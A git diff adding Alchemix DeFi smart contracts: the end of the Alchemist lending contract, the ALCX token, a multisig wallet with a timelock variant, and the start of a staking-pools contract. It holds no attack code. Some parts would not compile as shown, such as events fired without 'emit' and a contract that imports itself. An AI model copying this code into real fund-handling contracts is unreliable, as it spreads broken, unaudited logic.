+  function mint(uint256 _amount) external nonReentrant noContractAllowed expectInitialized {
+
+    CDP.Data storage _cdp = _cdps[msg.sender];
+    _cdp.update(_ctx);
+
+    uint256 _totalCredit = _cdp.totalCredit;
+
+    if (_totalCredit < _amount) {
+      uint256 _remainingAmount = _amount.sub(_totalCredit);
+      _cdp.totalDebt = _cdp.totalDebt.add(_remainingAmount);
+      _cdp.totalCredit = 0;
+
+      _cdp.checkHealth(_ctx, "Alchemist: Loan-to-value ratio breached");
+    } else {
+      _cdp.totalCredit = _totalCredit.sub(_amount);
+    }
+
+    xtoken.mint(msg.sender, _amount);
+
+    require(xtoken.hasMinted(address(this)) <= xtoken.ceiling(address(this)),"AlETH: Alchemist's ceiling was breached.");
+
+    emit LoanMinted(msg.sender, _amount, address(xtoken));
+  }
+
+  /// @dev Gets the number of vaults in the vault list.
+  ///
+  /// @return the vault count.
+  function vaultCount() external view returns (uint256) {
+    return _vaults.length();
+  }
+
+  /// @dev Get the adapter of a vault.
+  ///
+  /// @param _vaultId the identifier of the vault.
+  ///
+  /// @return the vault adapter.
+  function getVaultAdapter(uint256 _vaultId) external view returns (IVaultAdapter) {
+    Vault.Data storage _vault = _vaults.get(_vaultId);
+    return _vault.adapter;
+  }
+
+  /// @dev Get the total amount of the parent asset that has been deposited into a vault.
+  ///
+  /// @param _vaultId the identifier of the vault.
+  ///
+  /// @return the total amount of deposited tokens.
+  function getVaultTotalDeposited(uint256 _vaultId) external view returns (uint256) {
+    Vault.Data storage _vault = _vaults.get(_vaultId);
+    return _vault.totalDeposited;
+  }
+
+  /// @dev Get the total amount of collateral deposited into a CDP.
+  ///
+  /// @param _account the user account of the CDP to query.
+  ///
+  /// @return the deposited amount of tokens.
+  function getCdpTotalDeposited(address _account) external view returns (uint256) {
+    CDP.Data storage _cdp = _cdps[_account];
+    return _cdp.totalDeposited;
+  }
+
+  /// @dev Get the total amount of alchemic tokens borrowed from a CDP.
+  ///
+  /// @param _account the user account of the CDP to query.
+  ///
+  /// @return the borrowed amount of tokens.
+  function getCdpTotalDebt(address _account) external view returns (uint256) {
+    CDP.Data storage _cdp = _cdps[_account];
+    return _cdp.getUpdatedTotalDebt(_ctx);
+  }
+
+  /// @dev Get the total amount of credit that a CDP has.
+  ///
+  /// @param _account the user account of the CDP to query.
+  ///
+  /// @return the amount of credit.
+  function getCdpTotalCredit(address _account) external view returns (uint256) {
+    CDP.Data storage _cdp = _cdps[_account];
+    return _cdp.getUpdatedTotalCredit(_ctx);
+  }
+
+  /// @dev Gets the last recorded block of when a user made a deposit into their CDP.
+  ///
+  /// @param _account the user account of the CDP to query.
+  ///
+  /// @return the block number of the last deposit.
+  function getCdpLastDeposit(address _account) external view returns (uint256) {
+    CDP.Data storage _cdp = _cdps[_account];
+    return _cdp.lastDeposit;
+  }
+  /// @dev sends tokens to the transmuter
+  ///
+  /// benefit of great nation of transmuter
+  function _distributeToTransmuter(uint256 amount) internal {
+        token.approve(transmuter,amount);
+        ITransmuter(transmuter).distribute(address(this),amount);
+        // lower debt cause of 'burn'
+        xtoken.lowerHasMinted(amount);
+  } 
+
+  /// @dev Checks that caller is not a eoa.
+  ///
+  /// This is used to prevent contracts from interacting.
+  modifier noContractAllowed() {
+          require(!address(msg.sender).isContract() && msg.sender == tx.origin, "Sorry we do not accept contract!");
+      _;
+  }
+  /// @dev Checks that the contract is in an initialized state.
+  ///
+  /// This is used over a modifier to reduce the size of the contract
+  modifier expectInitialized() {
+    require(initialized, "Alchemist: not initialized.");
+    _;
+  }
+
+  /// @dev Checks that the current message sender or caller is a specific address.
+  ///
+  /// @param _expectedCaller the expected caller.
+  function _expectCaller(address _expectedCaller) internal {
+    require(msg.sender == _expectedCaller, "");
+  }
+
+  /// @dev Checks that the current message sender or caller is the governance address.
+  ///
+  ///
+  modifier onlyGov() {
+    require(msg.sender == governance, "Alchemist: only governance.");
+    _;
+  }
+
+  /// @dev Checks that the current message sender or caller is the governance address.
+  ///
+  ///
+  modifier onlyKeeper() {
+    require(keepers[msg.sender], "Alchemist: only keepers.");
+    _;
+  }
+
+  /// @dev Updates the active vault.
+  ///
+  /// This function reverts if the vault adapter is the zero address, if the token that the vault adapter accepts
+  /// is not the token that this contract defines as the parent asset, or if the contract has not yet been initialized.
+  ///
+  /// @param _adapter the adapter for the new active vault.
+  function _updateActiveVault(IVaultAdapter _adapter) internal {
+    require(_adapter != IVaultAdapter(ZERO_ADDRESS), "Alchemist: active vault address cannot be 0x0.");
+    require(_adapter.token() == token, "Alchemist: token mismatch.");
+    require(!adapters[address(_adapter)], "Adapter already in use");
+    adapters[address(_adapter)] = true;
+    _vaults.push(Vault.Data({
+      adapter: _adapter,
+      totalDeposited: 0
+    }));
+
+    emit ActiveVaultUpdated(_adapter);
+  }
+
+  /// @dev Recalls an amount of funds from a vault to this contract.
+  ///
+  /// @param _vaultId the identifier of the recall funds from.
+  /// @param _amount  the amount of funds to recall from the vault.
+  ///
+  /// @return the amount of funds that were recalled from the vault to this contract and the decreased vault value.
+  function _recallFunds(uint256 _vaultId, uint256 _amount) internal returns (uint256, uint256) {
+    require(emergencyExit || msg.sender == governance || _vaultId != _vaults.lastIndex(), "Alchemist: not an emergency, not governance, and user does not have permission to recall funds from active vault");
+
+    Vault.Data storage _vault = _vaults.get(_vaultId);
+    (uint256 _withdrawnAmount, uint256 _decreasedValue) = _vault.withdraw(address(this), _amount);
+
+    emit FundsRecalled(_vaultId, _withdrawnAmount, _decreasedValue);
+
+    return (_withdrawnAmount, _decreasedValue);
+  }
+
+  /// @dev Attempts to withdraw funds from the active vault to the recipient.
+  ///
+  /// Funds will be first withdrawn from this contracts balance and then from the active vault. This function
+  /// is different from `recallFunds` in that it reduces the total amount of deposited tokens by the decreased
+  /// value of the vault.
+  ///
+  /// @param _recipient the account to withdraw the funds to.
+  /// @param _amount    the amount of funds to withdraw.
+  function _withdrawFundsTo(address payable _recipient, uint256 _amount, bool asEth) internal returns (uint256, uint256) {
+    // Pull the funds from the buffer.
+    uint256 _bufferedAmount = Math.min(_amount, token.balanceOf(address(this)));
+
+    if (_recipient != address(this)) {
+      if (asEth) {
+        IWETH9(weth).withdraw(_bufferedAmount);
+        _recipient.transfer(_bufferedAmount);
+      } else {
+        token.safeTransfer(_recipient, _bufferedAmount);
+      }
+    }
+
+    uint256 _totalWithdrawn = _bufferedAmount;
+    uint256 _totalDecreasedValue = _bufferedAmount;
+
+    uint256 _remainingAmount = _amount.sub(_bufferedAmount);
+
+    // Pull the remaining funds from the active vault.
+    if (_remainingAmount > 0) {
+      Vault.Data storage _activeVault = _vaults.last();
+      uint256 _withdrawnAmount = 0;
+      uint256 _decreasedValue = 0;
+
+      if (asEth) {
+        (_withdrawnAmount, _decreasedValue) = _activeVault.withdraw(
+          payable(address(this)),
+          _remainingAmount
+        );
+        IWETH9(weth).withdraw(_withdrawnAmount);
+        _recipient.transfer(_withdrawnAmount);
+      } else {
+        (_withdrawnAmount, _decreasedValue) = _activeVault.withdraw(
+          _recipient,
+          _remainingAmount
+        );
+      }
+
+      _totalWithdrawn = _totalWithdrawn.add(_withdrawnAmount);
+      _totalDecreasedValue = _totalDecreasedValue.add(_decreasedValue);
+    }
+
+    totalDeposited = totalDeposited.sub(_totalDecreasedValue);
+
+    return (_totalWithdrawn, _totalDecreasedValue);
+  }
+
+  receive() external payable {}
+}
\ No newline at end of file
diff --git a/defi/Alchemix/contracts/AlchemixToken.sol b/defi/Alchemix/contracts/AlchemixToken.sol
new file mode 100644
index 000000000..2a9b1c766
--- /dev/null
+++ b/defi/Alchemix/contracts/AlchemixToken.sol
@@ -0,0 +1,48 @@
+// SPDX-License-Identifier: GPL-3.0
+pragma solidity ^0.6.12;
+pragma experimental ABIEncoderV2;
+
+import {AccessControl} from "@openzeppelin/contracts/access/AccessControl.sol";
+import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
+import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
+
+import {IDetailedERC20} from "./interfaces/IDetailedERC20.sol";
+
+/// @title AlchemixToken
+///
+/// @dev This is the contract for the Alchemix governance token.
+///
+/// Initially, the contract deployer is given both the admin and minter role. This allows them to pre-mine tokens,
+/// transfer admin to a timelock contract, and lastly, grant the staking pools the minter role. After this is done,
+/// the deployer must revoke their admin role and minter role.
+contract AlchemixToken is AccessControl, ERC20("Alchemix", "ALCX") {
+
+  /// @dev The identifier of the role which maintains other roles.
+  bytes32 public constant ADMIN_ROLE = keccak256("ADMIN");
+
+  /// @dev The identifier of the role which allows accounts to mint tokens.
+  bytes32 public constant MINTER_ROLE = keccak256("MINTER");
+
+  constructor() public {
+    _setupRole(ADMIN_ROLE, msg.sender);
+    _setupRole(MINTER_ROLE, msg.sender);
+    _setRoleAdmin(MINTER_ROLE, ADMIN_ROLE);
+    _setRoleAdmin(ADMIN_ROLE, ADMIN_ROLE);
+  }
+
+  /// @dev A modifier which checks that the caller has the minter role.
+  modifier onlyMinter() {
+    require(hasRole(MINTER_ROLE, msg.sender), "AlchemixToken: only minter");
+    _;
+  }
+
+  /// @dev Mints tokens to a recipient.
+  ///
+  /// This function reverts if the caller does not have the minter role.
+  ///
+  /// @param _recipient the account to mint tokens to.
+  /// @param _amount    the amount of tokens to mint.
+  function mint(address _recipient, uint256 _amount) external onlyMinter {
+    _mint(_recipient, _amount);
+  }
+}
\ No newline at end of file
diff --git a/defi/Alchemix/contracts/MultiSigWallet.sol b/defi/Alchemix/contracts/MultiSigWallet.sol
new file mode 100644
index 000000000..522049e2d
--- /dev/null
+++ b/defi/Alchemix/contracts/MultiSigWallet.sol
@@ -0,0 +1,395 @@
+pragma solidity ^0.6.12;
+
+
+/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
+/// @author Stefan George - <stefan.george@consensys.net>
+contract MultiSigWallet {
+
+    /*
+     *  Events
+     */
+    event Confirmation(address indexed sender, uint indexed transactionId);
+    event Revocation(address indexed sender, uint indexed transactionId);
+    event Submission(uint indexed transactionId);
+    event Execution(uint indexed transactionId);
+    event ExecutionFailure(uint indexed transactionId);
+    event Deposit(address indexed sender, uint value);
+    event OwnerAddition(address indexed owner);
+    event OwnerRemoval(address indexed owner);
+    event RequirementChange(uint required);
+
+    /*
+     *  Constants
+     */
+    uint constant public MAX_OWNER_COUNT = 50;
+
+    /*
+     *  Storage
+     */
+    mapping (uint => Transaction) public transactions;
+    mapping (uint => mapping (address => bool)) public confirmations;
+    mapping (address => bool) public isOwner;
+    address[] public owners;
+    uint public required;
+    uint public transactionCount;
+
+    struct Transaction {
+        address destination;
+        uint value;
+        bytes data;
+        bool executed;
+    }
+
+    /*
+     *  Modifiers
+     */
+    modifier onlyWallet() {
+        require(msg.sender == address(this));
+        _;
+    }
+
+    modifier ownerDoesNotExist(address owner) {
+        require(!isOwner[owner]);
+        _;
+    }
+
+    modifier ownerExists(address owner) {
+        require(isOwner[owner]);
+        _;
+    }
+
+    modifier transactionExists(uint transactionId) {
+        require(transactions[transactionId].destination != address(0));
+        _;
+    }
+
+    modifier confirmed(uint transactionId, address owner) {
+        require(confirmations[transactionId][owner]);
+        _;
+    }
+
+    modifier notConfirmed(uint transactionId, address owner) {
+        require(!confirmations[transactionId][owner]);
+        _;
+    }
+
+    modifier notExecuted(uint transactionId) {
+        require(!transactions[transactionId].executed);
+        _;
+    }
+
+    modifier notNull(address _address) {
+        require(_address != address(0));
+        _;
+    }
+
+    modifier validRequirement(uint ownerCount, uint _required) {
+        require(ownerCount <= MAX_OWNER_COUNT
+            && _required <= ownerCount
+            && _required != 0
+            && ownerCount != 0);
+        _;
+    }
+
+    /// @dev Fallback function allows to deposit ether.
+    fallback()
+        external
+        payable
+    {
+        if (msg.value > 0)
+            emit Deposit(msg.sender, msg.value);
+    }
+
+    /*
+     * Public functions
+     */
+    /// @dev Contract constructor sets initial owners and required number of confirmations.
+    /// @param _owners List of initial owners.
+    /// @param _required Number of required confirmations.
+    constructor(address[] memory _owners, uint _required)
+        public
+        validRequirement(_owners.length, _required)
+    {
+        for (uint i=0; i<_owners.length; i++) {
+            require(!isOwner[_owners[i]] && _owners[i] != address(0));
+            isOwner[_owners[i]] = true;
+        }
+        owners = _owners;
+        required = _required;
+    }
+
+    /// @dev Allows to add a new owner. Transaction has to be sent by wallet.
+    /// @param owner Address of new owner.
+    function addOwner(address owner)
+        public
+        onlyWallet
+        ownerDoesNotExist(owner)
+        notNull(owner)
+        validRequirement(owners.length + 1, required)
+    {
+        isOwner[owner] = true;
+        owners.push(owner);
+        emit OwnerAddition(owner);
+    }
+
+    /// @dev Allows to remove an owner. Transaction has to be sent by wallet.
+    /// @param owner Address of owner.
+    function removeOwner(address owner)
+        public
+        onlyWallet
+        ownerExists(owner)
+    {
+        isOwner[owner] = false;
+        for (uint i=0; i<owners.length - 1; i++)
+            if (owners[i] == owner) {
+                owners[i] = owners[owners.length - 1];
+                break;
+            }
+        owners.pop();
+        if (required > owners.length)
+            changeRequirement(owners.length);
+        emit OwnerRemoval(owner);
+    }
+
+    /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
+    /// @param owner Address of owner to be replaced.
+    /// @param newOwner Address of new owner.
+    function replaceOwner(address owner, address newOwner)
+        public
+        onlyWallet
+        ownerExists(owner)
+        ownerDoesNotExist(newOwner)
+    {
+        for (uint i=0; i<owners.length; i++)
+            if (owners[i] == owner) {
+                owners[i] = newOwner;
+                break;
+            }
+        isOwner[owner] = false;
+        isOwner[newOwner] = true;
+        emit OwnerRemoval(owner);
+        emit OwnerAddition(newOwner);
+    }
+
+    /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
+    /// @param _required Number of required confirmations.
+    function changeRequirement(uint _required)
+        public
+        onlyWallet
+        validRequirement(owners.length, _required)
+    {
+        required = _required;
+        emit RequirementChange(_required);
+    }
+
+    /// @dev Allows an owner to submit and confirm a transaction.
+    /// @param destination Transaction target address.
+    /// @param value Transaction ether value.
+    /// @param data Transaction data payload.
+    /// @return transactionId Returns transaction ID.
+    function submitTransaction(address destination, uint value, bytes memory data)
+        public
+        returns (uint transactionId)
+    {
+        transactionId = addTransaction(destination, value, data);
+        confirmTransaction(transactionId);
+    }
+
+    /// @dev Allows an owner to confirm a transaction.
+    /// @param transactionId Transaction ID.
+    function confirmTransaction(uint transactionId)
+        public
+        virtual
+        ownerExists(msg.sender)
+        transactionExists(transactionId)
+        notConfirmed(transactionId, msg.sender)
+    {
+        confirmations[transactionId][msg.sender] = true;
+        emit Confirmation(msg.sender, transactionId);
+        executeTransaction(transactionId);
+    }
+
+    /// @dev Allows an owner to revoke a confirmation for a transaction.
+    /// @param transactionId Transaction ID.
+    function revokeConfirmation(uint transactionId)
+        public
+        ownerExists(msg.sender)
+        confirmed(transactionId, msg.sender)
+        notExecuted(transactionId)
+    {
+        confirmations[transactionId][msg.sender] = false;
+        emit Revocation(msg.sender, transactionId);
+    }
+
+    /// @dev Allows anyone to execute a confirmed transaction.
+    /// @param transactionId Transaction ID.
+    function executeTransaction(uint transactionId)
+        public
+        virtual
+        ownerExists(msg.sender)
+        confirmed(transactionId, msg.sender)
+        notExecuted(transactionId)
+    {
+        if (isConfirmed(transactionId)) {
+            Transaction storage txn = transactions[transactionId];
+            txn.executed = true;
+            if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
+                Execution(transactionId);
+            else {
+                ExecutionFailure(transactionId);
+                txn.executed = false;
+            }
+        }
+    }
+
+    // call has been separated into its own function in order to take advantage
+    // of the Solidity's code generator to produce a loop that copies tx.data into memory.
+    function external_call(address destination, uint value, uint dataLength, bytes memory data) internal returns (bool) {
+        bool result;
+        assembly {
+            let x := mload(0x40)   // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
+            let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
+            result := call(
+                sub(gas(), 34710),   // 34710 is the value that solidity is currently emitting
+                                   // It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
+                                   // callNewAccountGas (25000, in case the destination address does not exist and needs creating)
+                destination,
+                value,
+                d,
+                dataLength,        // Size of the input (in bytes) - this is what fixes the padding problem
+                x,
+                0                  // Output is ignored, therefore the output size is zero
+            )
+        }
+        return result;
+    }
+
+    /// @dev Returns the confirmation status of a transaction.
+    /// @param transactionId Transaction ID.
+    /// @return Confirmation status.
+    function isConfirmed(uint transactionId)
+        public
+        view
+        returns (bool)
+    {
+        uint count = 0;
+        for (uint i=0; i<owners.length; i++) {
+            if (confirmations[transactionId][owners[i]])
+                count += 1;
+            if (count == required)
+                return true;
+        }
+    }
+
+    /*
+     * Internal functions
+     */
+    /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
+    /// @param destination Transaction target address.
+    /// @param value Transaction ether value.
+    /// @param data Transaction data payload.
+    /// @return transactionId Returns transaction ID.
+    function addTransaction(address destination, uint value, bytes memory data)
+        internal
+        notNull(destination)
+        returns (uint transactionId)
+    {
+        transactionId = transactionCount;
+        transactions[transactionId] = Transaction({
+            destination: destination,
+            value: value,
+            data: data,
+            executed: false
+        });
+        transactionCount += 1;
+        Submission(transactionId);
+    }
+
+    /*
+     * Web3 call functions
+     */
+    /// @dev Returns number of confirmations of a transaction.
+    /// @param transactionId Transaction ID.
+    /// @return count Number of confirmations.
+    function getConfirmationCount(uint transactionId)
+        public
+        view
+        returns (uint count)
+    {
+        for (uint i=0; i<owners.length; i++)
+            if (confirmations[transactionId][owners[i]])
+                count += 1;
+    }
+
+    /// @dev Returns total number of transactions after filers are applied.
+    /// @param pending Include pending transactions.
+    /// @param executed Include executed transactions.
+    /// @return count Total number of transactions after filters are applied.
+    function getTransactionCount(bool pending, bool executed)
+        public
+        view
+        returns (uint count)
+    {
+        for (uint i=0; i<transactionCount; i++)
+            if (   pending && !transactions[i].executed
+                || executed && transactions[i].executed)
+                count += 1;
+    }
+
+    /// @dev Returns list of owners.
+    /// @return List of owner addresses.
+    function getOwners()
+        public
+        view
+        returns (address[] memory)
+    {
+        return owners;
+    }
+
+    /// @dev Returns array with owner addresses, which confirmed transaction.
+    /// @param transactionId Transaction ID.
+    /// @return _confirmations Returns array of owner addresses.
+    function getConfirmations(uint transactionId)
+        public
+        view
+        returns (address[] memory _confirmations)
+    {
+        address[] memory confirmationsTemp = new address[](owners.length);
+        uint count = 0;
+        uint i;
+        for (i=0; i<owners.length; i++)
+            if (confirmations[transactionId][owners[i]]) {
+                confirmationsTemp[count] = owners[i];
+                count += 1;
+            }
+        _confirmations = new address[](count);
+        for (i=0; i<count; i++)
+            _confirmations[i] = confirmationsTemp[i];
+    }
+
+    /// @dev Returns list of transaction IDs in defined range.
+    /// @param from Index start position of transaction array.
+    /// @param to Index end position of transaction array.
+    /// @param pending Include pending transactions.
+    /// @param executed Include executed transactions.
+    /// @return _transactionIds Returns array of transaction IDs.
+    function getTransactionIds(uint from, uint to, bool pending, bool executed)
+        public
+        view
+        returns (uint[] memory _transactionIds)
+    {
+        uint[] memory transactionIdsTemp = new uint[](transactionCount);
+        uint count = 0;
+        uint i;
+        for (i=0; i<transactionCount; i++)
+            if (   pending && !transactions[i].executed
+                || executed && transactions[i].executed)
+            {
+                transactionIdsTemp[count] = i;
+                count += 1;
+            }
+        _transactionIds = new uint[](to - from);
+        for (i=from; i<to; i++)
+            _transactionIds[i - from] = transactionIdsTemp[i];
+    }
+}
diff --git a/defi/Alchemix/contracts/MultiSigWalletWithTimelock.sol b/defi/Alchemix/contracts/MultiSigWalletWithTimelock.sol
new file mode 100644
index 000000000..7b0a6e28e
--- /dev/null
+++ b/defi/Alchemix/contracts/MultiSigWalletWithTimelock.sol
@@ -0,0 +1,126 @@
+/*
+
+  Copyright 2019 ZeroEx Intl.
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+
+*/
+
+pragma solidity ^0.6.12;
+
+import "@openzeppelin/contracts/math/SafeMath.sol";
+import "./MultiSigWallet.sol";
+
+
+/// @title Multisignature wallet with time lock- Allows multiple parties to execute a transaction after a time lock has passed.
+/// @author Amir Bandeali - <amir@0xProject.com>
+// solhint-disable not-rely-on-time
+contract MultiSigWalletWithTimeLock is
+    MultiSigWallet
+{
+    using SafeMath for uint256;
+
+    event ConfirmationTimeSet(uint256 indexed transactionId, uint256 confirmationTime);
+    event TimeLockChange(uint256 secondsTimeLocked);
+
+    uint256 public secondsTimeLocked;
+
+    mapping (uint256 => uint256) public confirmationTimes;
+
+    modifier fullyConfirmed(uint256 transactionId) {
+        require(
+            isConfirmed(transactionId),
+            "TX_NOT_FULLY_CONFIRMED"
+        );
+        _;
+    }
+
+    modifier pastTimeLock(uint256 transactionId) {
+        require(
+            block.timestamp >= confirmationTimes[transactionId].add(secondsTimeLocked),
+            "TIME_LOCK_INCOMPLETE"
+        );
+        _;
+    }
+
+    /// @dev Contract constructor sets initial owners, required number of confirmations, and time lock.
+    /// @param _owners List of initial owners.
+    /// @param _required Number of required confirmations.
+    /// @param _secondsTimeLocked Duration needed after a transaction is confirmed and before it becomes executable, in seconds.
+    constructor (
+        address[] memory _owners,
+        uint256 _required,
+        uint256 _secondsTimeLocked
+    )
+        public
+        MultiSigWallet(_owners, _required)
+    {
+        secondsTimeLocked = _secondsTimeLocked;
+    }
+
+    /// @dev Changes the duration of the time lock for transactions.
+    /// @param _secondsTimeLocked Duration needed after a transaction is confirmed and before it becomes executable, in seconds.
+    function changeTimeLock(uint256 _secondsTimeLocked)
+        public
+        onlyWallet
+    {
+        secondsTimeLocked = _secondsTimeLocked;
+        emit TimeLockChange(_secondsTimeLocked);
+    }
+
+    /// @dev Allows an owner to confirm a transaction.
+    /// @param transactionId Transaction ID.
+    function confirmTransaction(uint256 transactionId)
+        public
+        override
+        ownerExists(msg.sender)
+        transactionExists(transactionId)
+        notConfirmed(transactionId, msg.sender)
+    {
+        bool isTxFullyConfirmedBeforeConfirmation = isConfirmed(transactionId);
+
+        confirmations[transactionId][msg.sender] = true;
+        emit Confirmation(msg.sender, transactionId);
+
+        if (!isTxFullyConfirmedBeforeConfirmation && isConfirmed(transactionId)) {
+            _setConfirmationTime(transactionId, block.timestamp);
+        }
+    }
+
+    /// @dev Allows anyone to execute a confirmed transaction.
+    /// @param transactionId Transaction ID.
+    function executeTransaction(uint256 transactionId)
+        public
+        override
+        notExecuted(transactionId)
+        fullyConfirmed(transactionId)
+        pastTimeLock(transactionId)
+    {
+        Transaction storage txn = transactions[transactionId];
+        txn.executed = true;
+        if (external_call(txn.destination, txn.value, txn.data.length, txn.data)) {
+            emit Execution(transactionId);
+        } else {
+            emit ExecutionFailure(transactionId);
+            txn.executed = false;
+        }
+    }
+
+    /// @dev Sets the time of when a submission first passed.
+    function _setConfirmationTime(uint256 transactionId, uint256 confirmationTime)
+        internal
+    {
+        confirmationTimes[transactionId] = confirmationTime;
+        emit ConfirmationTimeSet(transactionId, confirmationTime);
+    }
+}
diff --git a/defi/Alchemix/contracts/StakingPools.sol b/defi/Alchemix/contracts/StakingPools.sol
new file mode 100644
index 000000000..679b6a27b
--- /dev/null
+++ b/defi/Alchemix/contracts/StakingPools.sol
@@ -0,0 +1,413 @@
+// SPDX-License-Identifier: GPL-3.0
+pragma solidity ^0.6.12;
+pragma experimental ABIEncoderV2;
+
+//import "hardhat/console.sol";
+
+import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
+import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
+import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol";
+import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
+
+import {FixedPointMath} from "./libraries/FixedPointMath.sol";
+import {IMintableERC20} from "./interfaces/IMintableERC20.sol";
+import {Pool} from "./libraries/pools/Pool.sol";
+import {Stake} from "./libraries/pools/Stake.sol";
+import {StakingPools} from "./StakingPools.sol";
+
+import "hardhat/console.sol";
+
+/// @title StakingPools
+//    ___    __        __                _               ___                              __         _ 
+//   / _ |  / / ____  / /  ___   __ _   (_) __ __       / _ \  ____ ___   ___ ___   ___  / /_  ___  (_)
+//  / __ | / / / __/ / _ \/ -_) /  ' \ / /  \ \ /      / ___/ / __// -_) (_-</ -_) / _ \/ __/ (_-< _   
+// /_/ |_|/_/  \__/ /_//_/\__/ /_/_/_//_/  /_\_\      /_/    /_/   \__/ /___/\__/ /_//_/\__/ /___/(_)  
+//  
+//      _______..___________.     ___       __  ___  __  .__   __.   _______    .______     ______     ______    __           _______.
+//     /       ||           |    /   \     |  |/  / |  | |  \ |  |  /  _____|   |   _  \   /  __  \   /  __  \  |  |         /       |
+//    |   (----``---|  |----`   /  ^  \    |  '  /  |  | |   \|  | |  |  __     |  |_)  | |  |  |  | |  |  |  | |  |        |   (----`
+//     \   \        |  |       /  /_\  \   |    <   |  | |  . `  | |  | |_ |    |   ___/  |  |  |  | |  |  |  | |  |         \   \    
+// .----)   |       |  |      /  _____  \  |  .  \  |  | |  |\   | |  |__| |    |  |      |  `--'  | |  `--'  | |  `----..----)   |   
+// |_______/        |__|     /__/     \__\ |__|\__\ |__| |__| \__|  \______|    | _|       \______/   \______/  |_______||_______/                                                                                                                                
+///
+/// @dev A contract which allows users to stake to farm tokens.
+///
+/// This contract was inspired by Chef Nomi's 'MasterChef' contract which can be found in this
+/// repository: https://github.com/sushiswap/sushiswap.
+contract StakingPools is ReentrancyGuard {
+  using FixedPointMath for FixedPointMath.FixedDecimal;
+  using Pool for Pool.Data;
+  using Pool for Pool.List;
+  using SafeERC20 for IERC20;
+  using SafeMath for uint256;
+  using Stake for Stake.Data;
+
+  event PendingGovernanceUpdated(
+    address pendingGovernance
+  );
+
+  event GovernanceUpdated(
+    address governance
+  );
+
+  event RewardRateUpdated(
+    uint256 rewardRate
+  );
+
+  event PoolRewardWeightUpdated(
+    uint256 indexed poolId,
+    uint256 rewardWeight
+  );
+
+  event PoolCreated(
+    uint256 indexed poolId,
+    IERC20 indexed token
+  );
+
+  event TokensDeposited(
+    address indexed user,
+    uint256 indexed poolId,
+    uint256 amount
+  );
+
+  event TokensWithdrawn(
+    address indexed user,
+    uint256 indexed poolId,
+    uint256 amount
+  );
+
+  event TokensClaimed(
+    address indexed user,
+    uint256 indexed poolId,
+    uint256 amount
+  );
+
+  /// @dev The token which will be minted as a reward for staking.
+  IMintableERC20 public reward;
+
+  /// @dev The address of the account which currently has administrative capabilities over this contract.
+  address public governance;
+
+  address public pendingGovernance;
+
+  /// @dev Tokens are mapped to their pool identifier plus one. Tokens that do not have an associated pool
+  /// will return an identifier of zero.
+  mapping(IERC20 => uint256) public tokenPoolIds;
+
+  /// @dev The context shared between the pools.
+  Pool.Context private _ctx;
+
+  /// @dev A list of all of the pools.
+  Pool.List private _pools;
+
+  /// @dev A mapping of all of the user stakes mapped first by pool and then by address.
+  mapping(address => mapping(uint256 => Stake.Data)) private _stakes;
+
+  constructor(
+    IMintableERC20 _reward,
+    address _governance
+  ) public {
+    require(_governance != address(0), "StakingPools: governance address cannot be 0x0");
+
+    reward = _reward;
+    governance = _governance;
+  }
+
+  /// @dev A modifier which reverts when the caller is not the governance.
+  modifier onlyGovernance() {
+    require(msg.sender == governance, "StakingPools: only governance");
+    _;
+  }
+
+  /// @dev Sets the governance.
+  ///
+  /// This function can only called by the current governance.
+  ///
+  /// @param _pendingGovernance the new pending governance.
+  function setPendingGovernance(address _pendingGovernance) external onlyGovernance {
+    require(_pendingGovernance != address(0), "StakingPools: pending governance address cannot be 0x0");
+    pendingGovernance = _pendingGovernance;
+
+    emit PendingGovernanceUpdated(_pendingGovernance);
+  }
+
+  function acceptGovernance() external {
+    require(msg.sender == pendingGovernance, "StakingPools: only pending governance");
+
+    address _pendingGovernance = pendingGovernance;
+    governance = _pendingGovernance;
+
+    emit GovernanceUpdated(_pendingGovernance);
+  }
+
+  /// @dev Sets the distribution reward rate.
+  ///
+  /// This will update all of the pools.
+  ///
+  /// @param _rewardRate The number of tokens to distribute per second.
+  function setRewardRate(uint256 _rewardRate) external onlyGovernance {
+    _updatePools();
+
+    _ctx.rewardRate = _rewardRate;
+
+    emit RewardRateUpdated(_rewardRate);
+  }
+
+  /// @dev Creates a new pool.
+  ///
+  /// The created pool will need to have its reward weight initialized before it begins generating rewards.
+  ///
+  /// @param _token The token the pool will accept for staking.
+  ///
+  /// @return the identifier for the newly created pool.
+  function createPool(IERC20 _token) external onlyGovernance returns (uint256) {
+    require(tokenPoolIds[_token] == 0, "StakingPools: token already has a pool");
+
+    uint256 _poolId = _pools.length();
+
+    _pools.push(Pool.Data({
+      token: _token,
+      totalDeposited: 0,
+      rewardWeight: 0,
+      accumulatedRewardWeight: FixedPointMath.FixedDecimal(0),
+      lastUpdatedBlock: block.number
+    }));
+
+    tokenPoolIds[_token] = _poolId + 1;
+
+    emit PoolCreated(_poolId, _token);
+
+    return _poolId;
+  }
+
+  /// @dev Sets the reward weights of all of the pools.
+  ///
+  /// @param _rewardWeights The reward weights of all of the pools.
+  function setRewardWeights(uint256[] calldata _rewardWeights) external onlyGovernance {
+    require(_rewardWeights.length == _pools.length(), "StakingPools: weights length mismatch");
+
+    _updatePools();
+
+    uint256 _totalRewardWeight = _ctx.totalRewardWeight;
+    for (uint256 _poolId = 0; _poolId < _pools.length(); _poolId++) {
+      Pool.Data storage _pool = _pools.get(_poolId);
+
